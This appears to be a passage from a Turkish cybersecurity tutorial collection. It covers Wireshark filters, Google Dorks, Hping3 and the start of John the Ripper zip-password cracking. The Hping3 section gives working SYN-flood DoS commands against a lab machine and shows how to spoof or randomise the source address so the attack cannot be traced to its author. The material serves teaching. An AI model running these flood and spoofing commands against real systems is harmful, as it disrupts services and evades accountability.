* **Keyword Filters**: Belirli protokoller veya durumları filtrelemek için anahtar kelimeler kullanılır. Örneğin, `tcp.flags.syn == 1` (Sadece SYN paketlerini filtreler).

## Görüntüleme Filtreleri

Wireshark'ta "Display Filter" olarak adlandırılan filtreler, ağ trafiği analizinde kullanılan güçlü araçlardır. Bu filtreler, belirli özelliklere, protokollere veya paket özelliklerine göre paketleri filtrelemeye ve analiz etmeye olanak tanır. Bu filtrelerden bazıları şunlardır;

1. **ip.src ve ip.dst:** Belirli bir kaynak veya hedef IP adresine sahip paketleri filtrelemek için kullanılır. Örneğin, "ip.src == 192.168.1.1" ifadesi, sadece 192.168.1.1 IP adresinden gelen paketleri gösterecektir.
2. **tcp.port ve udp.port:** Belirli bir TCP veya UDP portuna sahip paketleri filtrelemek için kullanılır. Örneğin, "tcp.port == 80" ifadesi, 80 numaralı TCP portuna gelen veya giden paketleri gösterecektir (genellikle HTTP trafiği için kullanılır).
3. **eth.addr:** Belirli bir MAC adresine sahip paketleri filtrelemek için kullanılır. Örneğin, "eth.addr == 00:11:22:33:44:55" ifadesi, belirtilen MAC adresine sahip paketleri gösterecektir.
4. **dns:** DNS trafiğini filtrelemek için kullanılır. Örneğin, "dns" ifadesi, sadece DNS ile ilgili paketleri gösterecektir.
5. **http:** HTTP trafiğini filtrelemek için kullanılır. Örneğin, "http" ifadesi, sadece HTTP ile ilgili paketleri gösterecektir.
6. **icmp:** ICMP trafiğini filtrelemek için kullanılır. Örneğin, "icmp" ifadesi, sadece ICMP ile ilgili paketleri gösterecektir.
7. **ip.addr:** Belirli bir IP adresine sahip paketleri filtrelemek için kullanılır. Örneğin, "ip.addr == 192.168.1.0/24" ifadesi, belirtilen IP adresi aralığına sahip paketleri gösterecektir.

## Renk Kodları

<figure><img src="/files/5I7ev82NEGlBT0zkZd3V" alt=""><figcaption></figcaption></figure>

## Paketlerin İncelenmesi

<figure><img src="/files/rZwSCG4lC76fptP0HF8M" alt=""><figcaption></figcaption></figure>

Wiresharkta bulunan Display ekranında paketerin içerikleri incelenir. Erişilmek istenen bilgi ve türüne göre göz atmanız gereken kısımlar farklılık gosterir ve aşağıda bu ekranda bulunan pencereler ve işlervleri listelenmiştir.

1. **Paket Listesi (Packet List):** Wireshark'ın ana ekranında bulunan bu bölüm, yakalanan tüm paketleri listeler. Her paketin bir sıra numarası, zaman bilgisi, kaynak ve hedef IP adresleri, protokol türü, uzunluğu ve diğer bilgileri bulunur.
2. **Paket Ayrıntıları (Packet Details):** Seçili paketin ayrıntılarını gösterir. Bu bölüm, seçilen paketin tüm katmanlarını (Ethernet, IP, TCP/UDP, uygulama katmanı protokolleri vb.) ayrıntılı olarak açıklar. Her bir katmanın altında, o katmana ait özel bilgiler ve değerler bulunur.
3. **Hexadecimal ve ASCII Gösterim (Hexadecimal and ASCII Representation):** Paketin veri yükünü hem onaltılık (hexadecimal) hem de ASCII formatında gösterir. Bu bölüm, paketin içeriğini daha ayrıntılı olarak incelemek için kullanılır.
4. **Paket Akış Grafiği (Packet Flow Graph):** Seçilen paketin akışını grafiksel olarak gösterir. Bu grafik, seçilen paketin kaynak ve hedef arasındaki iletişim akışını görselleştirir.
5. **Filter Bar (Filtre Çubuğu):** Kullanıcının belirli protokolleri, IP adreslerini veya diğer özellikleri filtrelemek için kullanabileceği bir araç çubuğu bulunur. Burada kullanıcılar, belirli kriterlere göre paketleri filtreleyebilir ve analiz edebilirler.
6. **Statistical Information (İstatistiksel Bilgiler):** Wireshark, yakalanan paketler hakkında çeşitli istatistiksel bilgiler sunar. Bu bilgiler, toplam paket sayısı, belirli protokollere ait paket sayıları, veri akışı istatistikleri vb. olabilir.
7. **Protokol Ağacı (Protocol Tree):** Paketin içerdiği protokolleri hiyerarşik olarak gösterir. Bu bölüm, paketin içeriğini katman katman açıklar ve her bir katmandaki protokollerin ayrıntılarını sunar.

{% embed url="<https://github.com/SlapOfMelkor>" %}
Bu Yazı İrfan Kılıç Tarafından Hazırlanmıştır
{% endembed %}


# Google Dorks

<figure><img src="/files/xo2KibsOJUOzraF5057J" alt=""><figcaption></figcaption></figure>

## Google Dorks Nedir?

Google Dorking, Google arama motorunda belirli parametreler ile arama yapmayı kolaylaştıran bir yöntemtir. Bu parametreler, aranan kelimelere yönelik filtreleme yaparak Google’ın indexlediği milyarlarca site arasında yazdığımız kelimeyle istenilen bilgiye ulaşmayı sağlar. Pasif bilgi toplama işlemlerinde çok önemli bir yere sahip olan bu sistem, genellikle siber güvenlik uzmanları tarafından sistemlerdeki zafiyetleri tespit etmek amacıyla kullanılır.

Google Hacking olarak da bilinen Google Dorking, internette standart arama sorgularıyla kolayca bulunamayan bilgileri gün yüzüne çıkarmak için gelişmiş arama operatörlerinden faydalanır. "Hacking" kelimesi yasadışı bir faaliyeti çağrıştırsa da, Google Dorking tamamen yasaldır ve herkese açık olarak bulunan bilgileri bulmak için kullanılır.

## Google Dorks Tarihçesi?

"Google hackleme" kavramının kökeni, Chris Sullo'nun Nikto güvenlik açığı tarayıcısının 1.20 sürümüne "nikto\_google.plugin"i dahil ettiği Ağustos 2002'ye kadar uzanır. Aralık 2002'de Johnny Long, savunmasız sistemleri ve/veya hassas bilgilerin ifşa edilmesini ortaya çıkaran Google arama sorgularını toplamaya başladı ve bunları "googleDorks" olarak adlandırdı.

Google Dork'ların listesi, geniş bir sorgu sözlüğüne dönüştü ve bu sorgular, 2004 yılında orijinal Google Hacking Database'de (GHDB) düzenlendi. Google hackleme kavramı, Bing ve Shodan gibi diğer arama motorlarına da genişletildi. Otomatik saldırı araçları, arama motorları tarafından indekslenen kamu sistemlerindeki savunmasız sistemleri ve hassas bilgilerin ifşa edilmesini bulmak için özel arama sözlüklerini kullanır.

Google Dorking, Bowman Avenue Barajı saldırısı ve dünya çapındaki ağlarının yaklaşık %70'inin ele geçirildiği CIA ihlali gibi bazı kötü şöhretli siber suç vakalarına karışmıştır. Hukuk bilimci Star Kashman, bu tekniğin yasallığını araştıran ilk kişilerden biri olmuştur. Kashman, Google Dorking'in teknik olarak yasal olmasına rağmen, sıklıkla siber suçlar gerçekleştirmek için kullanıldığını ve Bilgisayar Dolandırıcılığı ve Kötüye Kullanım Yasası'nın ihlallerine yol açtığını savunuyor. Araştırması, bu tekniğin yasal ve etik sonuçlarını vurgulayarak, kullanımına daha fazla dikkat edilmesi ve düzenleme yapılması gerektiğini belirtiyor.

## Google Dorks Nasıl Çalışır?

Google Dorks'un hackleme olmadığını belirtmek önemlidir. Google Dorks, bir web sunucusuna izinsiz erişim sağlamak veya kimlik bilgileri ve finansal veriler gibi hassas bilgileri çalmak için kullanılmaz. Bunun yerine, kötü niyetli aktiviteler için kullanılabilecek bilgilerin toplanmasını sağlar.

Giriş kısmında ve burada da bahsettiğimiz gibi aslında Google Dorks, bir Google filtreleme yöntemidir. Nasıl bir siteye girdiğimizde istediğimiz kriterlere uygun bir arama yapmak için filtreleme yapıyorsak, Google'da da aynı şekilde istediğimiz kriterlere göre bir arama yapıyoruz. Peki, bunu nasıl yapıyoruz?

## Google Dorks Parametreleri

### 1- site:

Belirli bir alan adı altında bulunan tüm indexlenmiş sayfaları listeler.

<figure><img src="/files/6CXBeyORkfDFtrr4vKWj" alt=""><figcaption></figcaption></figure>

### 2- inurl:

Belirtilen URL'de belirli anahtar kelimeleri arar.

<figure><img src="/files/CumS2YLvYdSIFna4qHco" alt=""><figcaption></figcaption></figure>

### 3- allinurl

URL'de Belirtilen anahtar kelimelerini içeren sayfaları bulur.

<figure><img src="/files/VTlMqU7AjodvJOZ6P68L" alt=""><figcaption></figcaption></figure>

### 4- intext:

Belirli bir metni içeren sayfaları bulmak için kullanılır.

<figure><img src="/files/PpUSLsGIPkiWf64viwpm" alt=""><figcaption></figcaption></figure>

### 5- allintext:

Belirli bir metnin veya kelimenin tümünün sayfa içeriğinde geçtiği sayfaları aramak için kullanılır.

<figure><img src="/files/ADmpj6dXT36hG312VbJd" alt=""><figcaption></figcaption></figure>

### 6- **filetype:**

Belirli dosya türlerini aramak için kullanılır.

<figure><img src="/files/AYYSDxqwME0Z3vywMHLx" alt=""><figcaption></figcaption></figure>

### **7-** cache:

Google'ın bir web sayfasının önbelleğinde saklanan sürümünü görüntülemek için kullanılır.

<figure><img src="/files/8qDAnLrjZu0YyxI4Drty" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8jNfjMwsLMFaZUMtqwjA" alt=""><figcaption></figcaption></figure>

### 8- **link:**

Belirli bir web sitesine bağlantı veren diğer web sitelerini bulmak için kullanılır.

<figure><img src="/files/KXXCSDNuIH8xnxVP0oGG" alt=""><figcaption></figcaption></figure>

### **9-** related:

Belirli bir web sitesine benzer içeriğe sahip diğer web sitelerini bulmak için kullanılır.

<figure><img src="/files/KDxWGiDQoIceIXmmPoZy" alt=""><figcaption></figcaption></figure>

### 10- info:

Belirli bir web sitesi hakkında genel bilgileri göstermek için kullanılır.

<figure><img src="/files/sXW0X2p1CzngIpQwDSDf" alt=""><figcaption></figcaption></figure>

### 11- OR

Alternatif kelimelerle arama yapmak için kullanılır.

<figure><img src="/files/wvIrCCkwNxOHB7Pks4Vi" alt=""><figcaption></figcaption></figure>

### 12- - (eksi işareti)

Belirli bir kelimeyi aramadan hariç tutmak için kullanılır.

<figure><img src="/files/rajxu2PQOPLpYLwTn7x2" alt=""><figcaption></figcaption></figure>

### 13- inanchor:

Bir web sayfasına bağlantı verirken belirli bir metni içeren bağlantıları aramak için kullanılır.

<figure><img src="/files/jMMKsPwBRPVsR1NjYCb4" alt=""><figcaption></figcaption></figure>

### 14- numrange:

Belirli bir sayı aralığında arama yapmak için kullanılır.

<figure><img src="/files/b9UyF9uiVjVcgS0h5oXI" alt=""><figcaption></figcaption></figure>

### 15- daterange:

Belirli bir tarih aralığında arama yapmak için kullanılır. Bu parametre, arama sonuçlarında belirtilen tarih aralığına sahip olan sayfaları getirir. Ancak, Google Julian tarih formatını kullanır.

<figure><img src="/files/OhrwsHjUMHKGFpcsOZdX" alt=""><figcaption></figcaption></figure>

### 16- intitle:

Belirli bir başlıkta belirli bir metni veya kelimeyi içeren sayfaları bulmak için kullanılır.

<figure><img src="/files/Tz0SHjpsK0vJZJ2qFJdF" alt=""><figcaption></figcaption></figure>

### 17- allintitle:

Belirli bir başlıkta belirli tüm kelimeleri içeren sayfaları bulmak için kullanılır.

<figure><img src="/files/DdnOpLUinZET0IwqDWO5" alt=""><figcaption></figcaption></figure>

### 18- define:

Belirli bir terimin tanımını veya açıklamasını bulmak için kullanılır.

<figure><img src="/files/rxpBdocS2MROrwOotFhe" alt=""><figcaption></figcaption></figure>

### 19- book:

Belirli bir kitapla ilgili bilgi bulmak için kullanılır.

<figure><img src="/files/2assUr2bya0OEtHatzJh" alt=""><figcaption></figcaption></figure>

### 20- maps:

Belirli bir konumla ilgili bilgi bulmak için kullanılır.

<figure><img src="/files/aY4L9TylUlwncmepgIKi" alt=""><figcaption></figcaption></figure>

Bu yazıda Google Dorks'tan bahsettik ve bu konu hakkında biraz bilgi edindik. Google Dorking'in, belirli parametreler kullanarak internet üzerinde bilgi aramayı kolaylaştıran bir yöntem olduğunu öğrendik. Bu yöntem genellikle siber güvenlik uzmanları tarafından zafiyet tespiti için kullanılır. Google Dorks, farklı arama operatörlerini kullanarak belirli kriterlere göre arama yapmamızı sağlar. Bu şekilde, halka açık bilgilere erişim sağlamak mümkün olur.

{% embed url="<https://github.com/Yunusedemirci>" %}
Bu yazı Yunusemre Demirci tarafından hazırlanmıştır.
{% endembed %}


# Hping3

<figure><img src="/files/MuJJJ9wAjZJ1K4bKgE6Y" alt=""><figcaption></figcaption></figure>

## Öncelikle Ping Nedir?

Ping, bir bilgisayar ağında bir cihaza veya sunucuya erişilebilirliği test etmek için kullanılan bir ağ aracıdır. Ping komutu, bir hedef cihaza küçük veri paketleri gönderir ve hedef cihazın bu paketleri alıp yanıtlamasını bekler. Bu yanıt süresi, genellikle milisaniye cinsinden ifade edilen "ping zamanı" olarak adlandırılır. Ping zamanı, ağ bağlantısının ne kadar hızlı veya yavaş olduğunu anlamak için kullanılır ve ağ bağlantısının sağlamlığını test etmek için kullanışlıdır.

<figure><img src="https://github.com/Yavuzlar/Book/blob/main/.gitbook/assets/hping/ping_ip.webp" alt=""><figcaption></figcaption></figure>

## Hping3 Nedir?

Hping3, TCP/IP paketlerini manipüle etmek ve ağ protokollerini test etmek için kullanılan bir araçtır. Bu araç, ağ güvenliği testlerinde, ağ performans testlerinde ve ağ hata ayıklama işlemlerinde kullanılabilir. Hping3'ün esnek ve güçlü özellikleri, ağ yöneticileri, güvenlik uzmanları ve pentester'lar tarafından çeşitli ağ testleri ve güvenlik analizleri için yaygın olarak kullanılmasını sağlar.

## Ping ve Hping3' ün Farkları

**Ping**:

* Ping, temel bir ağ aracıdır ve genellikle hedef bir cihaza (genellikle bir IP adresine) ulaşılabilirliği ve erişilebilirliği test etmek için kullanılır.
* Ping, ICMP (Internet Control Message Protocol) kullanarak hedef cihaza bir ICMP Echo Request (Ping) mesajı gönderir ve hedef cihazın bu mesaja ICMP Echo Reply (Pong) ile yanıt vermesini bekler.
* Ping, genellikle basit bir teyit amaçlı kullanılır ve hedef cihazın yanıt verip vermediğini ve yanıt süresini ölçmek için kullanışlıdır.
* Ping, yaygın olarak ağ bağlantısının durumunu kontrol etmek, ağ performansını değerlendirmek ve ağ sorunlarını teşhis etmek için kullanılır.

**Hping3**:

* Hping3, daha gelişmiş ve esnek bir ağ aracıdır ve çeşitli ağ testleri, izleme ve manipülasyon senaryolarını destekler.
* Hping3, TCP, UDP, ICMP gibi farklı ağ protokollerini kullanarak özelleştirilmiş paketler oluşturabilir ve bu paketleri ağda gönderebilir.
* Hping3, paket oluşturma ve manipülasyon yeteneklerine sahiptir, bu nedenle belirli ağ koşullarını test etmek veya ağ güvenliğini değerlendirmek için kullanılabilir.
* Hping3, belirli ağ ayarlarını test etmek, port taraması yapmak, paketlerin erişebilirliğini ve güvenilirliğini kontrol etmek, ağdaki güvenlik açıklarını tespit etmek ve hatta DoS (Denial of Service) saldırıları gibi gelişmiş test senaryolarını gerçekleştirmek için kullanılabilir.

## Kurulumu ve Kullanımı <a href="#id-61e0" id="id-61e0"></a>

Hping3, linux depolarında otomatik olarak bulunduğu için terminale aşağıdaki komutu yazabilirsiniz.

```bash
sudo apt-get install hping3
```

Hping3 kullanımı ve modları hakkında yardım almak için de aşağıdaki komutu kullanabilirsiniz.

```bash
sudo hping3 -h
```

<details>

<summary>Temel Parametreler</summary>

* **-h, --help**: Bu yardım metnini gösterir.
* **-v, --version**: Sürüm numarasını gösterir.
* **-c, --count**: Paket sayısını belirler.
* **-i, --interval**: Bekleme süresini belirler (örneğin, -i u1000 şeklinde mikrosaniye cinsinden).
* **--fast**: -i u10000 (saniyede 10 paket) için kısayol.
* **--faster**: -i u1000 (saniyede 100 paket) için kısayol.
* **--flood**: Yanıtları göstermeden paketleri mümkün olduğunca hızlı gönderir.
* **-n, --numeric**: Sayısal çıktı alır.
* **-q, --quiet**: Sessiz modda çalışır.
* **-I, --interface**: Arayüz adını belirler (aksi takdirde varsayılan yönlendirme arayüzü kullanılır).
* **-V, --verbose**: Ayrıntılı modda çalışır.
* **-D, --debug**: Hata ayıklama bilgilerini gösterir.
* **-z, --bind**: Ctrl+Z tuşunu TTL'ye bağlar (varsayılan olarak hedef bağlantı noktasına bağlanır).
* **-Z, --unbind**: Ctrl+Z tuşunun bağlantısını kaldırır.
* **--beep**: Her eşleşen paket alındığında bip sesi çıkarır.

</details>

<details>

<summary>Mod Parametreleri</summary>

* **Varsayılan Mod (TCP)**: Varsayılan olarak TCP modunda çalışır.
* **-0, --rawip**: Ham IP modu. Bu mod, hping3'ün paketleri doğrudan IP seviyesinde oluşturmasını ve göndermesini sağlar.
* **-1, --icmp**: ICMP modu. Bu mod, hping3'ün ICMP (Internet Control Message Protocol) paketleri oluşturmasını ve göndermesini sağlar.
* **-2, --udp**: UDP modu. Bu mod, hping3'ün UDP (User Datagram Protocol) paketleri oluşturmasını ve göndermesini sağlar.
* **-8, --scan**: Tarama modu. Bu mod, belirli bir port aralığını taramak için kullanılır. Örneğin, `--scan 1-30,70-90` şeklinde belirtilen port aralıklarını taramak için kullanılabilir.
* **-9, --listen**: Dinleme modu. Bu mod, hping3'ün belirtilen bir port üzerinde dinlemesini ve gelen paketleri analiz etmesini sağlar.

</details>

<details>

<summary>IP Parametreleri</summary>

* **-a, --spoof**: Sahte kaynak adresi oluşturur.
* **--rand-dest**: Rastgele hedef adres modu.
* **--rand-source**: Rastgele kaynak adres modu.
* **-t, --ttl**: TTL (Time-to-Live) değerini belirler.
* **-N, --id**: ID değerini belirler.
* **-W, --winid**: Win\* ID bayt sırasını kullanır.
* **-r, --rel**: ID alanını düzenler.
* **-f, --frag**: Paketleri daha fazla parçaya böler.
* **-x, --morefrag**: Daha fazla parçalar bayrağını ayarlar.
* **-y, --dontfrag**: Parçalamayı önleyen bayrağı ayarlar.
* **-g, --fragoff**: Parçalanma ofsetini belirler.
* **-m, --mtu**: Sanal MTU (Maksimum Transfer Ünitesi) değerini belirler.
* **-o, --tos**: Hizmet tipini belirler.
* **-G, --rroute**: Kayıt rotası seçeneğini içerir ve rota tamponunu gösterir.
* **--lsrr**: Gevşek kaynak yönlendirme ve kayıt rotası ekler.
* **--ssrr**: Sıkı kaynak yönlendirme ve kayıt rotası ekler.
* **-H, --ipproto**: RAW IP modunda kullanıldığında IP protokol alanını belirler.

</details>

<details>

<summary>ICMP Parametreleri</summary>

* **-C, --icmptype**: ICMP türünü belirler (varsayılan olarak echo request).
* **-K, --icmpcode**: ICMP kodunu belirler (varsayılan olarak 0).
* **--force-icmp**: Tüm ICMP türlerini gönderir (varsayılan olarak yalnızca desteklenen türleri gönderir).
* **--icmp-gw**: ICMP yönlendirmesi için ağ geçidi adresini belirler (varsayılan olarak 0.0.0.0).
* **--icmp-ts**: --icmp --icmptype 13 (ICMP zaman damgası) için kısayol.
* **--icmp-addr**: --icmp --icmptype 17 (ICMP adres alt ağı maskesi) için kısayol.
* **--icmp-help**: Diğer ICMP seçenekleri için yardımı görüntüler.

</details>

<details>

<summary>TCP/UDP Parametreleri</summary>

* **-s, --baseport**: Temel kaynak portunu belirler (varsayılan olarak rastgele).
* **-p, --destport**: \[+]\[+]\<port> hedef portunu belirler (varsayılan olarak 0) Ctrl+Z artış/azalış.
* **-k, --keep**: Kaynak portunu sabit tutar.
* **-w, --win**: Pencere boyutunu belirler (varsayılan olarak 64).
* **-O, --tcpoff**: Sahte TCP veri ofsetini belirler (tcphdrlen / 4 yerine).
* **-Q, --seqnum**: Sadece TCP sekans numarasını gösterir.
* **-b, --badcksum**: Paketleri hatalı IP toplamı kontrol toplamı ile gönderir (çok sayıda sistem IP toplamını düzelterek paketi gönderecek. Bu yüzden kötü UDP/TCP toplamı alırsınız).
* **-M, --setseq**: TCP sekans numarasını ayarlar.
* **-L, --setack**: TCP ACK'i ayarlar.
* **-F, --fin**: FIN bayrağını ayarlar.
* **-S, --syn**: SYN bayrağını ayarlar.
* **-R, --rst**: RST bayrağını ayarlar.
* **-P, --push**: PUSH bayrağını ayarlar.
* **-A, --ack**: ACK bayrağını ayarlar.
* **-U, --urg**: URG bayrağını ayarlar.
* **-X, --xmas**: Kullanılmayan X bayrağını (0x40) ayarlar.
* **-Y, --ymas**: Kullanılmayan Y bayrağını (0x80) ayarlar.
* **--tcpexitcode**: Son TCP->th\_flags'ı çıkış kodu olarak kullanır.
* **--tcp-mss**: Verilen değerle TCP MSS seçeneğini etkinleştirir.
* **--tcp-timestamp**: HZ/uptime'u tahmin etmek için TCP zaman damgası seçeneğini etkinleştirir.

</details>

<details>

<summary>Genel Parametreler</summary>

* **-d, --data**: Veri boyutunu belirler (varsayılan olarak 0).
* **-E, --file**: Dosyadan veri alır.
* **-e, --sign**: 'İmza' ekler.
* **-j, --dump**: Paketleri onaltılık formatta döküm alır.
* **-J, --print**: Basılabilir karakterleri döküm alır.
* **-B, --safe**: 'Güvenli' protokolü etkinleştirir.
* **-u, --end**: --file EOF'a ulaştığında sizi bilgilendirir ve geri sarma işlemini engeller.
* **-T, --traceroute**: Traceroute modunu etkinleştirir (--bind ve --ttl 1'ı ima eder).
* **--tr-stop**: Traceroute modunda ilk ICMP dışında alınan paketle çıkış yapar.
* **--tr-keep-ttl**: Kaynak TTL'yi sabit tutar, sadece bir hopu izlemek için kullanışlıdır.
* **--tr-no-rtt**: Traceroute modunda RTT bilgisini hesaplamaz/göstermez.

</details>

## Hping3 Tarama Örnekleri

#### Hping3 ile Basit Bir Ping Atma Örneği:

```csharp
sudo hping3 --icmp -c 4 google.com
```

***--icmp :** ICMP paketleri göndermek için.*

***-c :** Paket sayısını belirler.*

<figure><img src="/files/Smh5MMRcTm6rETPAF3rv" alt=""><figcaption></figcaption></figure>

#### Hping3 Syn Paketi Gönderme örneği:

```csharp
sudo hping3 -S Hedef_IP_Adresi -p <port_numarası>
```

***-S :** SYN paketi göndermek için.*

***-p :** Port numarası belirtiyoruz.*

<figure><img src="/files/7jCUBg3VRVEkH9EUQj88" alt=""><figcaption></figcaption></figure>

**Paketlerin Wireshark programında görünümü;**

<figure><img src="/files/QxcOTFGnwAAf50VtgGO7" alt=""><figcaption></figcaption></figure>

#### Hping3 ile Port Tarama Örneği:

```csharp
sudo hping3 -S google.com --scan 1-500 -V
```

***-V :** parametresi ile verbose modunu açıyoruz. Daha detaylı bir gösterimi için.*

***--scan :** parametresi ile tarama yapmak istediğimizi ve port aralığını belirtiyoruz.*

<figure><img src="/files/Z8A7PGXSPpGeCZKzu3Ju" alt=""><figcaption></figcaption></figure>

Yukarıdaki görsele baktığımızda 53, 80 ve 433 portlarının açık olduğunu gözlemliyoruz.

## Hping3 İle DoS Saldırısı

Hping3 aracı ile ağdan büyük miktarda trafik göndererek sistemleri yavaşlatan DoS saldırıları gerçekleştirilebilir.

**Basit bir DOS saldırısı;**

```csharp
sudo hping3 -S --flood -V -p 80 192.168.146.130
```

***-S**: Syn paketi göndermek için.*

***-flood**: Yanıtları göstermeden paketleri mümkün olduğunca hızlı gönderir.*

***-V**: Daha detaylı bir gösterimi için.*

***-p 80**: Port numarası belirtiyoruz.*

<figure><img src="/files/6cdVyvrfn5bvU6JX4SXO" alt=""><figcaption></figcaption></figure>

Ağdaki 192.168.146.130 ip adresli Windows 10 bir makineyi hedef olarak belirliyorum. Komutu bir süre çalıştırdığımızda aşağıdaki görselde göründüğü gibi CPU ve Ethernet grafiğinde dalgalanmaların arttığı görünüyor. Bu sürede makinede çok fazla donma ve takılmalar meydana geliyor. Saldırıyı durduğumuzda yukarıdaki görselde göründüğü gibi kısa bir sürede 24 milyondan fazla paket gönderildiğini gözlemliyoruz.

<figure><img src="/files/ixuvor0FcOGBZRb9Elc3" alt=""><figcaption></figcaption></figure>

**Saldırının Wireshark programında görünümü;**

<figure><img src="/files/g0LY3yA67W5QYtPYLUis" alt=""><figcaption></figcaption></figure>

Görselde de göründüğü gibi bizim ip adresimizden (192.168.146.129) hedef ip adresine (192.168.146.129) çok sayıda SYN paketinin gittiği gözlemliyoruz. Ama bu şekilde saldırının bizim tarafından yapıldığı belli oluyor. Bunu önlemek için aşağıdaki komutta olduğu gibi --rand-source parametresini kullanabiliriz.

```csharp
sudo hping3 192.168.146.130 -q -d 120 -S -p 80 --flood --rand-source
```

***-q**: Sessiz modda çalışır.*

***-d 120**: Veri boyutunu belirler.*

***--rand-source**: Rastgele kaynak adres modu.*

***-flood**: Yanıtları göstermeden paketleri mümkün olduğunca hızlı gönderir.*

<figure><img src="/files/T0KqZmA166Cu53R1L6LC" alt=""><figcaption></figcaption></figure>

**Saldırının Wireshark programında görünümü;**

<figure><img src="/files/nVawhEOG1fYyWoU85dRO" alt=""><figcaption></figcaption></figure>

Görselde de göründüğü gibi rastgele ip adreslerinde hedefe çok sayıda paketin gittiği ve paketlerin Len değerinin bizim belirlediğimiz gibi 120 olduğunu gözlemliyoruz.

İstersek kaynak ip adresimizi sahte bir ip adresi olarak da değiştirebiliriz.

```csharp
sudo hping3 -a 8.8.8.8 192.168.146.130 -S -q -p 80 --flood
```

***-q**: Sessiz modda çalışır.*

***-a**: Sahte kaynak adresi oluşturur.*

***-flood**: Yanıtları göstermeden paketleri mümkün olduğunca hızlı gönderir.*

<figure><img src="/files/r6netCMclStpDs24NHEA" alt=""><figcaption></figcaption></figure>

**Saldırının Wireshark programında görünümü;**

<figure><img src="/files/NDophd4txwHPcp2NslnG" alt=""><figcaption></figcaption></figure>

Yukarıdaki görselde de göründüğü gibi kaynak ip adresini değiştirerek paketlerin başka bir ip adresinden gönderildiğini gözlemliyoruz. Bu şekilde saldırı kimliğimizi gizleyebiliriz.

{% embed url="<https://github.com/eneskrkmz>" %}
Bu yazı M. Enes Korkmaz tarafından hazırlanmıştır.
{% endembed %}


# John the Ripper

#### John The Ripper nedir?

John the Ripper, C programlama dili ile yazılmış açık kaynak bir parola çözme aracıdır. Başlangıçta Unix işletim sistemi için geliştirilen bu araç, şimdi 15 farklı platformda çalışmaktadır. Parola çözücüleri tek paket içinde bir araya getiren, parola test eden ve çözen en popüler araçlardan biridir.

<figure><img src="/files/Ua2WAqNc0J3arm3c3L5F" alt=""><figcaption><p>John The Ripper</p></figcaption></figure>

***

## John The Ripper Aracının Teknik Özellikleri

John the Ripper, hem zengin özelliklere sahip hem de hızlı olacak şekilde tasarlandı. Çeşitli kırma modlarını tek bir programda birleştirir ve özel ihtiyaçlarınıza göre tamamen yapılandırılabilir bir çalışma mantığı vardır.

John the Ripper, aşağıdaki Unix crypt(3) karma türlerini destekler:

1. Geleneksel DES tabanlı
2. Bigcrypt
3. BSDI uzatılmış DES tabanlı
4. FreeBSD MD5 tabanlı (Linux'ta ve Cisco IOS'ta da kullanılır)
5. OpenBSD Blowfish tabanlı (bazı Linux dağıtımlarında ve güncel Solaris sürümlerinde desteklenir)

Ayrıca desteklenen diğer şifreleme türleri:

1. Kerberos/AFS
2. Windows LM (DES tabanlı)
3. DES tabanlı tripcodes

* John the Ripper genellikle kıracağı hash türünü otomatik olarak algılar. Ancak algılamadığı durumlarda kullanıcı tarafından --format parametresiyle dosya türü verilmelidir.\
  Örneğin: --format=pdf
* Çeşitli platformlarda (Unix, Linux, Windows, macOS gibi) çalışabilir.
* Çeşitli parola kırma tekniklerini içerir:
  * brute force (kaba kuvvet)
  * dictionary (sözlük tabanlı)
  * hibrit saldırılar

{% hint style="warning" %}
**Yasal Uyarı**: John the Ripper, parola kırma işlemleri gibi yasal ve etik sınırların aşılmasına neden olabilecek bir yazılımdır. Kullanımı yalnızca yasal ve etik sınırlar içinde gerçekleştirilmelidir. Aksi takdirde yasal sonuçları olabilir.
{% endhint %}

***

## John the Ripper (JTR) ile hangi saldırılar yapılabilir?

### Brute Force Saldırıları

Bu saldırı türünde, tüm olası kombinasyonlar yani her bir karakterin tüm olası değerleri denetlenir. Bu yöntem en temel ve en genel parola kırma yöntemidir. Ancak oldukça zaman alıcı olabilir.

### Dictionary Saldırıları <a href="#dictionary-saldirilari" id="dictionary-saldirilari"></a>

Bu saldırı türünde John the Ripper, bir **wordlist (sözlük)** adı verilen bir dosyadaki kelimeleri veya parolaları kullanarak hash'i kırmaya çalışır. Wordlist, potansiyel parolaların bir listesini içerir. JTR, wordlist'teki her kelimeyi sırayla hash fonksiyonuna sokar ve elde edilen hash ile hedef hash'i karşılaştırır. Eğer eşleşen bir hash bulunursa parola bulunmuş olur.

Eğer belirli bir saldırı yöntemi belirtmediyseniz, JTR genellikle varsayılan olarak sözlük saldırısını kullanacaktır. Eğer başka bir saldırı yöntemi kullanmak istiyorsanız bunu belirtmeniz gerekecektir. Örneğin; "kaba kuvvet saldırısı" veya "hibrit saldırı" gibi.

### Rainbow Table Saldırıları

Bu saldırı türünde, önceden hesaplanmış karma parola çiftleri içeren bir veritabanı olan **rainbow table** kullanılır. Bu tablo, hızlı bir şekilde parolaları geri çözebilir. Ancak güvenlik önlemleri genellikle bu tür saldırılara karşı korunur.

John the Ripper'ın kullanabileceği yaygın saldırı türleridir. Ancak daha fazla teknik ve özelleştirilmiş saldırı türleri de mümkündür.

***

## John The Ripper Kullanımı

Genel olarak bahsettiğimize göre kullanımından ve örnek saldırılardan bahsedelim.

-h parametresi ile JohnTheRipper üzerinde kullanabileceğimiz parametreleri görebiliyoruz.

Kullanacağımız yönteme göre çeşitli parametreler JohnTheRipper'da bulunmaktadır.

<figure><img src="/files/D4H6B7cDNus80bz9LtN0" alt=""><figcaption><p>John The Ripper yardım komutu</p></figcaption></figure>

## John The Ripper ile şifreli zip dosyası kırma

### Zip dosyası oluşturma ve şifreleme işlemi

Öncelikle şifreli bir zip dosyası oluşturuyoruz. Oluşturmak için -e ve -r parametreleri ile birlikte bir zip dosyası adı ve içine koymak istediğimiz dosyanın adını (önceden oluşturduğumuz) veriyoruz.

Aşağıda örnek olarak şifreli zip dosyası oluşturma verilmiştir.

Ben oluşturduğum user.txt şifremi yusufnas olarak belirledim.

<figure><img src="/files/JjJeJZ81VGnzb7KR58tn" alt=""><figcaption><p>yusufnas parolasına sahip şifreli zip oluşturma komutu</p></figcaption></figure>

### Şifreli Zip Dosyasını kırmak için hash alma

JohnTheRipper'da zip dosyasına özel kullandığımız zip2john ile zip dosyası içindeki veri dosyasının (user.txt) hash değerini almakla ilk adıma başlıyoruz.

Hash değerini almak için kullanım **zip2john "şifreli dosyayı bulunduran zip" > "hash değerinin saklanacağı dosya"**

zip2john yusufnas.zip > zip.hash komutu ile hash değerini alıyoruz.

